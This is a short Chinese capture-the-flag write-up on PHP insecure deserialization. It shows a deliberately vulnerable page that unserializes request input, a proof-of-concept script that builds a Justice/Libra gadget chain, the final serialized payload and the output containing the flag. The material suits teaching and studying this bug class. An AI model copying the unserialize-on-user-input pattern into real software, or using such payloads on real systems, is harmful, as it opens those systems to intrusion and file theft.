源码

<?php

class Justice
{
private $head;
private $tail = '';

function __destruct()
{
printf("%s\n", __METHOD__);
$head = $this->head;
$tail = $this->tail;
$head->$tail();
}
}

class Libra
{
public $name;

function __call($func, $args)
{
printf("%s\n", __METHOD__);
if ($func === 'symbolize' and $this->name === 'balance') {
echo file_get_contents('/flag');
}
}
}

if (isset($_REQUEST['Libra'])) {
unserialize($_REQUEST['Libra']);
} else echo "系统检测发现该处漏洞,进行攻击测试\n";
?>

POC

<?php

class Justice
{
private $head;
private $tail;

function __construct()
{
$this->head = new Libra();
$this->tail = 'symbolize';
}
}

class Libra
{
public $name='balance';
}

echo serialize(new Justice());
//O:7:"Justice":2:{s:13:" Justice head";O:5:"Libra":1:{s:4:"name";s:7:"balance";}s:13:" Justice tail";s:9:"symbolize";}
//O:7:"Justice":2:{S:13:"\00Justice\00head";O:5:"Libra":1:{s:4:"name";s:7:"balance";}S:13:"\00Justice\00tail";s:9:"symbolize";}
O:7:"Justice":2:{S:13:"\00Justice\00head";O:5:"Libra":1:{s:4:"name";s:7:"balance";}S:13:"\00Justice\00tail";s:9:"symbolize";}

传入payload,得到

Justice::__destruct
Libra::__call
Sonder{135d79-ba631f65200a5f-870225232871-7af1e740}
  1. 反序列化时触发Justice::__destruct ,会执行$head->$tail(); ,会把$head当作对象,$tail() 当作成员方法去调用
  2. 如果调用该对象中不存在的成员方法就会触发 call ,在call 中要求参数$func === 'symbolize' ,其中 call 的第一个参数就是该对象调用的不存在的成员方法,因此只需要调用Libra::symbolize就会触发call并且满足$func

参考:https://www.yuque.com/shiyizhesonder/sonder39/cz5wll15phim2d7i